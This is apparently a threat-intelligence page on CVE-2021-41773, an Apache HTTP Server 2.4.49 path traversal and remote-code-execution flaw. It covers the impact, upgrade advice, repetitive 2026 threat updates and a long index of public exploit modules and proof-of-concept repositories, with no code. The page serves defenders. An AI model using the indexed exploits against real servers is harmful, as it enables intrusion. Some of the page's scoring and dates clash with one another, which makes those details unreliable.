CVE-2021-41773

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 05/10 Upd 21/10

Overview

This vulnerability is a path traversal flaw in the path normalization logic of Apache HTTP Server version 2.4.49. The root cause lies in improper sanitization of URL-encoded sequences within Alias-like directive paths, allowing crafted requests to bypass directory restrictions. The affected component is the URL path normalization mechanism responsible for resolving aliased resource locations.

Vulnerability Description

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.

Impact

An unauthenticated attacker can exploit this vulnerability to access sensitive files outside the intended directories, potentially leaking system files like /etc/passwd. If CGI scripts are enabled in the aliased paths, the attacker can execute arbitrary commands remotely, resulting in full system compromise. No user interaction or authentication is required, enabling direct exploitation over the network. This can lead to data breaches, unauthorized system control, and disruption of services.

Solution

Upgrade Apache HTTP Server to version 2.4.51 or later, as versions 2.4.49 and 2.4.50 contain incomplete fixes. Refer to the official Apache security advisory at https://httpd.apache.org/security/vulnerabilities_24.html for detailed patch instructions. Fedora and Gentoo have issued security advisories with updated package versions addressing this flaw. Implement vendor-recommended updates promptly to remediate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical flaw in the path normalization process of Apache HTTP Server version 2.4.49 has raised significant security concerns. This vulnerability allows an attacker to perform path traversal attacks, which can map URLs to files located outside the intended directories defined by Alias-like directives. The issue arises when the default security configuration, which typically denies access to unauthorized files, is not enforced. Consequently, if an attacker can manipulate the URL to reference files outside the designated directories, they may gain unauthorized access to sensitive data or execute malicious scripts, particularly if CGI scripts are enabled for those paths.

The attack vectors associated with this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker can craft a malicious URL that exploits the path traversal flaw, potentially leading to the retrieval of sensitive files or the execution of arbitrary code on the server. For instance, if a web application is improperly configured, an attacker could access configuration files, user data, or even system files that should remain protected. The risk escalates when CGI scripts are enabled, as this could allow for remote code execution, giving the attacker full control over the affected server. The fact that this vulnerability has been observed in active exploitation amplifies the urgency for organizations to address it.

The real-world impact of this vulnerability is profound, particularly for businesses relying on the affected versions of the Apache HTTP Server. The potential for unauthorized access to sensitive information can lead to data breaches, loss of customer trust, and significant financial repercussions. Organizations may face regulatory penalties if they fail to protect personal data adequately. Furthermore, the ability for attackers to execute code remotely can result in complete system compromise, leading to service outages and extensive recovery costs. The implications extend beyond immediate financial loss; reputational damage can have long-lasting effects on a business's viability and customer relationships.

To detect and mitigate this vulnerability, organizations must take a proactive approach. Regularly auditing server configurations and ensuring that security best practices are followed is essential. This includes enforcing the default "require all denied" configuration for directories and ensuring that only necessary files are accessible via the web server. Organizations should also upgrade to the latest version of the Apache HTTP Server, as subsequent releases have addressed this vulnerability. Implementing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the server. Continuous monitoring for unusual access patterns and employing intrusion detection systems can further enhance an organization's ability to respond to potential exploitation attempts.

In conclusion, the vulnerability in Apache HTTP Server 2.4.49 represents a significant threat to the security of web applications and the data they handle. The ease of exploitation, coupled with the potential for severe consequences, necessitates immediate action from affected organizations. By understanding the technical details, recognizing the attack vectors, and implementing robust detection and mitigation strategies, businesses can safeguard their systems against this and similar vulnerabilities, thereby maintaining the integrity and confidentiality of their data.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-41773, accompanied by the emergence of multiple new proof-of-concept exploits circulating within attacker communities. This expansion of available tooling lowers the barrier for adversaries to conduct path traversal and remote code execution attacks against vulnerable Apache HTTP Server instances. Although the CVSS score was revised downward to 7.5, reflecting a more precise assessment of the vulnerability’s impact, the increased exploitation activity and the confirmed use of this flaw in ransomware campaigns linked to Iranian IRGC Data Extortion Operations underscore a sustained and evolving threat. Our telemetry indicates that while the overall exploit trend remains stable, the qualitative shift toward more frequent and diverse attack vectors amplifies the operational risk for defenders. Consequently, organizations should regard this vulnerability as a persistent high-risk concern due to its active exploitation and association with financially motivated threat actors.



Update 2 — May 23, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2021-41773, accompanied by the emergence of new, more sophisticated proof-of-concept exploits that consolidate previous fragmented attack methods. This evolution in the exploit landscape signals an increased operational capability among threat actors, including those linked to Iranian IRGC Data Extortion Operations, who continue to leverage this vulnerability within ransomware campaigns. Our telemetry further indicates a subtle upward trend in attack frequency, underscoring persistent adversary interest despite prior mitigation efforts. The convergence of enhanced exploit tools and ongoing ransomware utilization elevates the threat profile of CVE-2021-41773, reinforcing its status as a critical risk vector for organizations running vulnerable Apache HTTP Server versions. Consequently, defenders should anticipate sustained and potentially more complex exploitation attempts, reflecting a heightened and evolving threat environment.



Update 3 — June 19, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-41773, accompanied by the emergence of several new proof-of-concept tools that lower the barrier for adversaries to conduct path traversal and remote code execution attacks against vulnerable Apache HTTP Server instances. This uptick in activity correlates with a near-maximal EPSS score, indicating a heightened likelihood of exploitation in the wild. The expanding exploit landscape, combined with ongoing associations to Iranian IRGC-linked ransomware operations, underscores an evolving threat environment where adversaries are refining their capabilities and persistence mechanisms. For defenders, this signals an increased risk of sophisticated intrusion attempts leveraging this vulnerability, necessitating heightened vigilance despite prior mitigation efforts. Consequently, the overall threat level for CVE-2021-41773 should be considered elevated, reflecting both the growing exploitation momentum and the sustained interest from ransomware-affiliated threat actors.



Update 4 — July 10, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation activity targeting CVE-2021-41773, evidenced by a notable surge in detection telemetry and the emergence of multiple new proof-of-concept exploits on public platforms. This increased adversary interest coincides with an upward revision of the CVSS score to critical severity, reflecting a deeper understanding of the vulnerability’s potential impact, particularly its facilitation of remote code execution when combined with misconfigured CGI scripts. The persistence of ransomware groups linked to Iranian IRGC data extortion operations exploiting this flaw further amplifies the threat landscape, indicating that attackers are actively integrating this vulnerability into their operational toolkits. For defenders, this evolution signifies a heightened risk of sophisticated intrusion attempts leveraging both path traversal and remote code execution vectors. Consequently, the overall threat level associated with CVE-2021-41773 has escalated, underscoring the urgency for continuous monitoring and adaptive defensive postures.

Affected Products (7)

Vendor Product Version CPE
apache Apache Http Server 2.4.49 cpe:2.3:a:apache:http_server:2.4.49:*:*:*:*:*:*:*
fedoraproject Fedoraproject Fedora 34 cpe:2.3:o:fedoraproject:fedora:34:*:*:*:*:*:*:*
fedoraproject Fedoraproject Fedora 35 cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*
oracle Oracle Instantis Enterprisetrack 17.1 cpe:2.3:a:oracle:instantis_enterprisetrack:17.1:*:*:*:*:*:*:*
oracle Oracle Instantis Enterprisetrack 17.2 cpe:2.3:a:oracle:instantis_enterprisetrack:17.2:*:*:*:*:*:*:*
oracle Oracle Instantis Enterprisetrack 17.3 cpe:2.3:a:oracle:instantis_enterprisetrack:17.3:*:*:*:*:*:*:*
netapp Netapp Cloud Backup N/A cpe:2.3:a:netapp:cloud_backup:-:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
Apache 2.4.49/2.4.50 Traversal RCE scanner
auxiliary/scanner/http/apache_normalize_path
Ash Daulton, Dhiraj Mishra, mekhalleh (RAMELLA Sébastien) Unknown - View
Apache 2.4.49/2.4.50 Traversal RCE
exploits/multi/http/apache_normalize_path_rce
Ash Daulton, Dhiraj Mishra, mekhalleh (RAMELLA Sébastien) Unknown - View

ExploitDB (2)

Title Author Type Platform Date Link
Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) Valentin Lobstein webapps multiple - View
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) Lucas Souza webapps multiple - View

GitHub PoCs (154)

Repository Author Stars Forks Date Link
blasty/CVE-2021-41773
CVE-2021-41773 playground
blasty 211 48 2021-10-06 View
inbug-team/CVE-2021-41773_CVE-2021-42013
CVE-2021-41773 CVE-2021-42013漏洞批量检测工具
inbug-team 147 46 2021-10-09 View
iilegacyyii/PoC-CVE-2021-41773
iilegacyyii 52 37 2021-10-05 View
HightechSec/scarce-apache2
A framework for bug hunting or pentesting targeting websites that have CVE-2021-41773 Vulnerability in public
HightechSec 63 18 2021-10-07 View
MrCl0wnLab/SimplesApachePathTraversal
Tool check: CVE-2021-41773, CVE-2021-42013, CVE-2020-17519
MrCl0wnLab 62 15 2021-10-13 View
lorddemon/CVE-2021-41773-PoC
lorddemon 39 22 2021-10-05 View
justakazh/mass_cve-2021-41773
MASS CVE-2021-41773
justakazh 29 19 2021-10-07 View
Vulnmachines/cve-2021-41773
CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.
Vulnmachines 38 9 2021-10-05 View
BlueTeamSteve/CVE-2021-41773
Vulnerable docker images for CVE-2021-41773
BlueTeamSteve 23 8 2021-10-06 View
im-hanzou/apachrot
Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker
im-hanzou 22 6 2021-10-09 View
ZephrFish/CVE-2021-41773-PoC
ZephrFish 17 11 2021-10-05 View
Ls4ss/CVE-2021-41773_CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
Ls4ss 20 7 2021-10-06 View
j4k0m/CVE-2021-41773
Exploitation of CVE-2021-41773 a Directory Traversal in Apache 2.4.49.
j4k0m 13 7 2021-10-05 View
0xRar/CVE-2021-41773
Exploit for Apache 2.4.49
0xRar 7 12 2021-10-08 View
itsecurityco/CVE-2021-41773
CVE-2021-41773 POC with Docker
itsecurityco 12 6 2021-10-06 View
zeronine9/CVE-2021-41773
Fast python tool to test apache path traversal CVE-2021-41773 in a List of url
zeronine9 11 7 2021-10-08 View
knqyf263/CVE-2021-41773
Path traversal in Apache HTTP Server 2.4.49 (CVE-2021-41773)
knqyf263 9 7 2021-10-05 View
wangfly-me/Apache_Penetration_Tool
CVE-2021-41773&CVE-2021-42013图形化漏洞检测利用工具
wangfly-me 14 0 2022-04-27 View
Zeop-CyberSec/apache_normalize_path
Metasploit-Framework modules (scanner and exploit) for the CVE-2021-41773 and CVE-2021-42013 (Path Traversal in Apache 2...
Zeop-CyberSec 12 2 2021-10-06 View
theLSA/apache-httpd-path-traversal-checker
apache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)
theLSA 9 5 2021-10-15 View
creadpag/CVE-2021-41773-POC
CVE-2021-41773
creadpag 8 5 2021-10-06 View
CalfCrusher/Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit
CVE-2021-41773 | CVE-2021-42013 Exploit Tool (Apache/2.4.49-2.4.50)
CalfCrusher 10 3 2022-04-04 View
blackn0te/Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
Apache HTTP-Server 2.4.49-2.4.50 Path Traversal & Remote Code Execution PoC (CVE-2021-41773 & CVE-2021-42013)
blackn0te 13 0 2022-11-22 View
1nhann/CVE-2021-41773
CVE-2021-41773 的复现
1nhann 9 4 2021-10-06 View
numanturle/CVE-2021-41773
CVE-2021-41773
numanturle 8 4 2021-10-05 View
mr-exo/CVE-2021-41773
Remote Code Execution exploit for Apache servers. Affected versions: Apache 2.4.49, Apache 2.4.50
mr-exo 11 0 2021-10-26 View
aqiao-jashell/CVE-2021-41773
apache路径穿越漏洞poc&exp
aqiao-jashell 9 1 2022-11-01 View
TishcaTpx/POC-CVE-2021-41773
Poc.py
TishcaTpx 6 3 2021-10-05 View
apapedulimu/Apachuk
CVE-2021-41773 Grabber
apapedulimu 4 4 2021-10-11 View
aqiao-jashell/py-CVE-2021-41773
python编写的apache路径穿越poc&exp
aqiao-jashell 7 0 2022-11-01 View
noflowpls/CVE-2021-41773
CVE-2021-41773
noflowpls 6 1 2021-10-07 View
Hydragyrum/CVE-2021-41773-Playground
Some docker images to play with CVE-2021-41773 and CVE-2021-42013
Hydragyrum 6 1 2021-11-04 View
jbovet/CVE-2021-41773
Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)
jbovet 4 3 2021-10-06 View
twseptian/cve-2021-41773
CVE-2021-41773: Path Traversal Zero-Day in Apache HTTP Server Exploited
twseptian 4 3 2021-10-07 View
habibiefaried/CVE-2021-41773-PoC
PoC for CVE-2021-41773 with docker to demonstrate
habibiefaried 3 4 2021-10-06 View
belajarqywok/CVE-2021-41773-MSF
Simple Metasploit-Framework module for conducting website penetration tests (CVE-2021-41773).
belajarqywok 6 0 2023-08-11 View
LudovicPatho/CVE-2021-41773
The first vulnerability with the CVE identifier CVE-2021-41773 is a path traversal flaw that exists in Apache HTTP Serve...
LudovicPatho 4 2 2021-10-15 View
OfriOuzan/CVE-2021-41773_CVE-2021-42013_Exploits
Exploit CVE-2021-41773 and CVE-2021-42013
OfriOuzan 4 1 2023-08-02 View
jheeree/Simple-CVE-2021-41773-checker
Simple script realizado en bash, para revisión de múltiples hosts para CVE-2021-41773 (Apache)
jheeree 2 3 2021-10-06 View
walnutsecurity/cve-2021-41773
cve-2021-41773.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in ...
walnutsecurity 2 3 2021-10-23 View
RevShellXD/LFI-Destruction
This program Prompts you for the Local File Inclusion information and will automatically search the /etc/passwd and usin...
RevShellXD 4 0 2026-02-11 View
superzerosec/CVE-2021-41773
POC
superzerosec 3 1 2021-10-08 View
Habib0x0/CVE-2021-41773
CVE-2021-41773 | Apache HTTP Server 2.4.49 is vulnerable to Path Traversal and Remote Code execution attacks
Habib0x0 3 1 2022-06-07 View
orangmuda/CVE-2021-41773
Apache HTTPd (2.4.49) – Local File Disclosure (LFI)
orangmuda 2 2 2021-10-07 View
5gstudent/cve-2021-41773-and-cve-2021-42013
cve-2021-41773 即 cve-2021-42013 批量检测脚本
5gstudent 2 2 2021-10-09 View
wvverez/CVE-2021-41773-PoC
「🪶」PoC (Proof of concept) of Path traversal + RCE in Apache HTTP Server 2.4.49
wvverez 2 1 2026-05-20 View
Chocapikk/CVE-2021-41773
Chocapikk 2 1 2022-04-12 View
lopqto/CVE-2021-41773_Honeypot
Simple honeypot for CVE-2021-41773 vulnerability
lopqto 2 1 2021-10-16 View
n3k00n3/CVE-2021-41773
exploit to CVE-2021-41773
n3k00n3 1 2 2021-10-06 View
corelight/CVE-2021-41773
A Zeek package which raises notices for Path Traversal/RCE in Apache HTTP Server 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE...
corelight 1 2 2021-10-08 View
pirenga/CVE-2021-41773
Ce programme permet de détecter une faille RCE sur les serveurs Apache 2.4.49 et Apache 2.4.50
pirenga 0 3 2021-11-11 View
zerodaywolf/CVE-2021-41773_42013
Lab setup for CVE-2021-41773 (Apache httpd 2.4.49) and CVE-2021-42013 (Apache httpd 2.4.50).
zerodaywolf 1 2 2021-10-18 View
Kouf320/docker-lab-cve-2017-5638-cve-2021-41773
Kouf320 2 0 2026-04-11 View
Kouf320/attacker-lab-cve-2017-5638-cve-2021-41773-paper
Kouf320 2 0 2026-04-11 View
Soliux/CVE-2021-41773
On the 11/11/21 the apache 2.4.49-2.4.50 remote command execution POC has been published online and this is a loader so ...
Soliux 2 0 2021-11-11 View
iosifache/ApacheRCEEssay
Essay (and PoCs) about CVE-2021-41773, a remote code execution vulnerability in Apache 2.4.49 🕸️
iosifache 2 0 2022-05-12 View
Zyx2440/Apache-HTTP-Server-2.4.50-RCE
Apache-HTTP-Server-2.4.50-RCE This tool is designed to test Apache servers for the CVE-2021-41773 / CVE-2021-42013 vulne...
Zyx2440 2 0 2024-08-26 View
CyberQuestor-infosec/CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE
CyberQuestor-infosec 2 0 2025-06-11 View
masahiro331/CVE-2021-41773
masahiro331 1 1 2021-10-05 View
PentesterGuruji/CVE-2021-41773
Path Traversal vulnerability in Apache 2.4.49
PentesterGuruji 1 1 2021-10-06 View
r00tVen0m/CVE-2021-41773
r00tVen0m 1 1 2021-10-06 View
AssassinUKG/CVE-2021-41773
Apache 2.4.49
AssassinUKG 1 1 2021-10-06 View
vinhjaxt/CVE-2021-41773-exploit
CVE-2021-41773, poc, exploit
vinhjaxt 1 1 2021-10-07 View
EagleTube/CVE-2021-41773
Apache 2.4.49 Path Traversal Vulnerability Checker
EagleTube 1 1 2021-10-09 View
ranggaggngntt/CVE-2021-41773
ranggaggngntt 0 2 2021-10-06 View
im2sinister/CVE-2021-41773
im2sinister 1 0 2026-04-25 View
im2nerd/CVE-2021-41773
im2nerd 1 0 2026-04-25 View
klmntbelgium/cve-2021-41773-exploration
Recreation and analysis of a curious logic error in Apache 2.4.49 that escalated to remote code execution
klmntbelgium 1 0 2026-04-23 View
0xGabe/Apache-CVEs
Exploit created in python3 to exploit known vulnerabilities in Apache web server (CVE-2021-41773, CVE-2021-42013)
0xGabe 0 1 2023-06-03 View
mah4nzfr/CVE-2021-41773
Bash POC script for RCE vulnerability in Apache 2.4.49
mah4nzfr 0 1 2025-08-11 View
MazX0p/CVE-2021-41773
MazX0p 1 0 2021-10-25 View
shellreaper/CVE-2021-41773
This is a simple POC for Apache/2.4.49 Path Traversal Vulnerability
shellreaper 1 0 2021-10-08 View
ksanchezcld/httpd-2.4.49
critical: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-4...
ksanchezcld 1 0 2021-10-12 View
IcmpOff/Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution-Exploit
This Metasploit module exploits an unauthenticated remote code execution vulnerability which exists in Apache version 2....
IcmpOff 1 0 2021-11-09 View
kubota/POC-CVE-2021-41773
kubota 1 0 2021-11-14 View
mightysai1997/CVE-2021-41773m
mightysai1997 1 0 2022-09-15 View
mightysai1997/CVE-2021-41773S
mightysai1997 1 0 2022-09-15 View
TheKernelPanic/exploit-apache2-cve-2021-41773
Exploit for path transversal vulnerability in apache
TheKernelPanic 1 0 2022-12-05 View
retrymp3/apache2.4.49VulnerableLabSetup
CVE-2021-41773 vulnerable apache version 2.4.49 lab set-up.
retrymp3 1 0 2023-02-17 View
Iris288/CVE-2021-41773
Iris288 1 0 2023-11-20 View
psibot/apache-vulnerable
Detects Apache HTTP Server path traversal vulnerabilities (CVE-2021-41773, CVE-2021-42013) by checking for expos...
psibot 1 0 2025-07-01 View
charanvoonna/CVE-2021-41773
charanvoonna 1 0 2025-08-19 View
adrianmafandy/CVE-2021-41773
adrianmafandy 1 0 2025-10-31 View
fnatalucci/CVE-2021-41773-RCE
fnatalucci 0 1 2021-10-06 View
Hattan515/POC-CVE-2021-41773
Hattan515 0 1 2021-10-07 View
pisut4152/Sigma-Rule-for-CVE-2021-41773-and-CVE-2021-42013-exploitation-attempt
pisut4152 0 1 2021-10-08 View
b1tsec/CVE-2021-41773
A Python script to check if an Apache web server is vulnerable to CVE-2021-41773
b1tsec 0 1 2021-10-08 View
BabyTeam1024/CVE-2021-41773
BabyTeam1024 0 1 2021-10-22 View
i6c/MASS_CVE-2021-41773
i6c 0 1 2021-12-15 View
johnwickakash12/CVE-2021-41773
johnwickakash12 0 0 2026-07-09 View
Park123r/CVE-2021-41773
whs-homework
Park123r 0 0 2026-07-07 View
Joapath/CVE-2021-41773
Prueba de concepto de CVE-2021-41773
Joapath 0 0 2026-06-23 View
a24ac1/CVE-2021-41773-PoC
「🪶」PoC (Proof of concept) of Path traversal + RCE in Apache HTTP Server 2.4.49
a24ac1 0 0 2026-05-21 View
fxdyx-a/CVE-2021-41773-POC
Apache HTTP Server 2.4.49 Path Traversal Vulnerability Reproduction
fxdyx-a 0 0 2026-06-14 View
JKIM72403/CS4277-CVE-Path-Traversal-Apache-HTTP-Server
We hope to reproduce CVE-2021-41773 to deepen our understanding of real-world cybersecurity vulnerabilities so that we c...
JKIM72403 0 0 2026-04-20 View
luongchivi/Preproduce-CVE-2021-41773
luongchivi 0 0 2024-12-30 View
Taldrid1/cve-2021-41773
Taldrid1 0 0 2025-01-07 View
tiemio/SSH-key-and-RCE-PoC-for-CVE-2021-41773
This repository contains a Proof-of-Concept for the CVE-2021-41773. This CVE contains a LFI and RCE vulnerablity.
tiemio 0 0 2025-02-02 View
Vanshuk-Bhagat/Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013
In this project, I documented a detailed penetration testing process targeting Apache HTTP Server vulnerabilities, speci...
Vanshuk-Bhagat 0 0 2025-03-11 View
ashique-thaha/CVE-2021-41773-POC
The POC and Lab setup documentation of CVE 2021 41773
ashique-thaha 0 0 2025-03-20 View
khaidtraivch/CVE-2021-41773-Apache-2.4.49-
Kiểm thử xâm nhập
khaidtraivch 0 0 2025-04-14 View
blu3ming/PoC-CVE-2021-41773
Python exploit for CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal vulnerability
blu3ming 0 0 2025-07-02 View
zubairahm3d/apache-cve-2021-41773-lab
Vulnerable Docker lab and exploit for Apache HTTP Server 2.4.49 path traversal vulnerability (CVE‑2021‑41773)
zubairahm3d 0 0 2026-03-16 View
tsiddiquea/cve-reproduction-lab
Cybersecurity lab demonstrating Apache CVE-2021-41773 path traversal vulnerability with vulnerable server simulation, sc...
tsiddiquea 0 0 2026-03-18 View
sobanahmed6061/CVE-2021-41773-RedTeam
Apache 2.4.49 Path Traversal RCE
sobanahmed6061 0 0 2026-03-18 View
MatanelGordon/docker-cve-2021-41773
A little demonstration of cve-2021-41773 on httpd docker containers
MatanelGordon 0 0 2023-04-20 View
mightysai1997/CVE-2021-41773.git1
mightysai1997 0 0 2022-09-15 View
EkamSinghWalia/Mitigation-Apache-CVE-2021-41773-
Mitigation/fix of CVE-2021-41773 A Path Traversal And File Disclosure Vulnerability In Apache
EkamSinghWalia 0 0 2022-07-22 View
JIYUN02/cve-2021-41773
JIYUN02 0 0 2025-04-24 View
r0otk3r/CVE-2021-41773
r0otk3r 0 0 2025-07-05 View
hackedrishi/CTF_WRITEUPS-TryHackMe-CVE-2021-41773-
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
hackedrishi 0 0 2025-08-31 View
javaamo/CVE-2021-41773
CVE-2021-41773
javaamo 0 0 2025-03-19 View
MuhammadHuzaifaAsif/security-lab
Documented CVE-2021-41773 (Apache HTTP Server path traversal, CVSS 9.8) — produced CVSS breakdown, impact assessment, an...
MuhammadHuzaifaAsif 0 0 2025-09-14 View
faizdotid/CVE-2021-41773
Path Traversal Apache HTTP Server 2.4.49/2.4.50
faizdotid 0 0 2025-11-26 View
Areeba-Zehra-Jafri/CVE-2021-41773---Apache-Path-Traversal---RCE
Proof-of-concept (PoC) for CVE-2021-41773, demonstrating Apache HTTP Server 2.4.49 path traversal and remote code execut...
Areeba-Zehra-Jafri 0 0 2026-03-18 View
sudo0xksh/cve-2021-41773-checker
A simple Python proof-of-concept tool to check for Apache path traversal vulnerability (CVE-2021-41773). Detects vulner...
sudo0xksh 0 0 2026-01-16 View
dserdyk3-arch/Serdyuk-DO-homework-CVE-2021-41773
PoC скрипт для CVE-2021-41773 - Path Traversal в Apache 2.4.49
dserdyk3-arch 0 0 2026-02-07 View
Nanxsec/exploitApache
exploit para a CVE-2021-41773:Path Traversal cgi-bin
Nanxsec 0 0 2026-03-15 View
0xc4t/CVE-2021-41773
POC & Lab For CVE-2021-41773
0xc4t 0 0 2024-08-26 View
FakesiteSecurity/CVE-2021-41773
MASS CVE-2021-41773
FakesiteSecurity 0 0 2025-01-03 View
AzkOsDev/CVE-2021-41773
AzkOsDev 0 0 2025-05-28 View
jkska23/Additive-Vulnerability-Analysis-CVE-2021-41773
Apache: a Mainstream Web Service Turned a Vector of Attack for Remote Code Execution
jkska23 0 0 2024-08-28 View
gunzf0x/CVE-2021-41773
Remote Code Execution PoC for Apache 2.4.49
gunzf0x 0 0 2025-10-07 View
Mahfujurjust/CVE-2021-41773
Mahfujurjust 0 0 2025-10-31 View
ChanaPCN/CVE-2021-41773-Analysis
Technical analysis and reproduction lab for the Apache HTTP Server 2.4.49 Path Traversal and RCE vulnerability.
ChanaPCN 0 0 2026-01-12 View
abds059/APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-
A comprehensive analysis of CVE-2021-41773 (Apache HTTP Server 2.4.49), featuring vulnerability research, controlled lab...
abds059 0 0 2026-03-18 View
zer0qs/CVE-2021-41773
zer0qs 0 0 2022-03-30 View
snapdowgg/CVE-2021-41773
CVE-2021-41773 <= Apache RCE Exploit
snapdowgg 0 0 2026-03-22 View
TAI-REx/cve-2021-41773-nse
CVE-2021-41773.nse
TAI-REx 0 0 2021-10-06 View
mohwahyudi/cve-2021-41773
mohwahyudi 0 0 2021-10-06 View
sixpacksecurity/CVE-2021-41773
CVE-2021-41773 exploit PoC with Docker setup.
sixpacksecurity 0 0 2021-10-07 View
shiomiyan/CVE-2021-41773
shiomiyan 0 0 2021-10-07 View
ch4os443/CVE-2021-41773
Apache HTTP Server 2.4.49, 2.4.50 - Path Traversal & RCE
ch4os443 0 0 2021-10-11 View
twseptian/cve-2021-41773-docker-lab
Docker container lab to play/learn with CVE-2021-41773
twseptian 0 0 2021-10-14 View
LayarKacaSiber/CVE-2021-41773
LayarKacaSiber 0 0 2021-10-20 View
TheLastVvV/CVE-2021-41773
Poc CVE-2021-41773 - Apache 2.4.49 with CGI enabled
TheLastVvV 0 0 2021-10-23 View
vida003/Scanner-CVE-2021-41773
A automatic scanner to apache 2.4.49
vida003 0 0 2021-10-25 View
wolf1892/CVE-2021-41773
Setup vulnerable enviornment
wolf1892 0 0 2021-10-29 View
xMohamed0/CVE-2021-41773
xMohamed0 0 0 2021-11-14 View
skentagon/CVE-2021-41773
skentagon 0 0 2022-02-27 View
bernardas/netsec-polygon
Environment for CVE-2021-41773 recreation.
bernardas 0 0 2022-04-02 View
anldori/CVE-2021-41773-Scanner
CVE-2021-41773 Shodan scanner
anldori 0 0 2022-05-12 View
ISabbiI/PoC-Apache-CVE-2021-41773-Infrastructure-LAB
ISabbiI 0 0 2026-02-11 View
pwn3z/CVE-2021-41773-Apache-RCE
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path trave...
pwn3z 0 0 2022-06-17 View
mightysai1997/cve-2021-41773
mightysai1997 0 0 2022-09-15 View
mightysai1997/CVE-2021-41773h
mightysai1997 0 0 2022-09-15 View
mightysai1997/cve-2021-41773-v-
mightysai1997 0 0 2022-09-15 View
mightysai1997/CVE-2021-41773-i-
mightysai1997 0 0 2022-09-15 View
mightysai1997/CVE-2021-41773-L-
mightysai1997 0 0 2022-09-15 View
mightysai1997/CVE-2021-41773-PoC
mightysai1997 0 0 2022-09-15 View
dileepdkumar/LayarKacaSiber-CVE-2021-41773
dileepdkumar 0 0 2022-09-20 View
12345qwert123456/CVE-2021-41773
Vulnerable configuration Apache HTTP Server version 2.4.49
12345qwert123456 0 0 2022-11-18 View
Maybe4a6f7365/CVE-2021-41773
CVE-2021-41773.py
Maybe4a6f7365 0 0 2024-06-02 View
redspy-sec/CVE-2021-41773
redspy-sec 0 0 2024-12-16 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

16 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-10-05
PoC Published (154 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-05-10
Exploit Published (2 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Target OS:

Deployed role: Linux · Web Server

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.

Attack Vectors ML

Path Traversal
100% path_traversal
Remote Code Execution
52% rce

MITRE ATT&CK Techniques (10)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
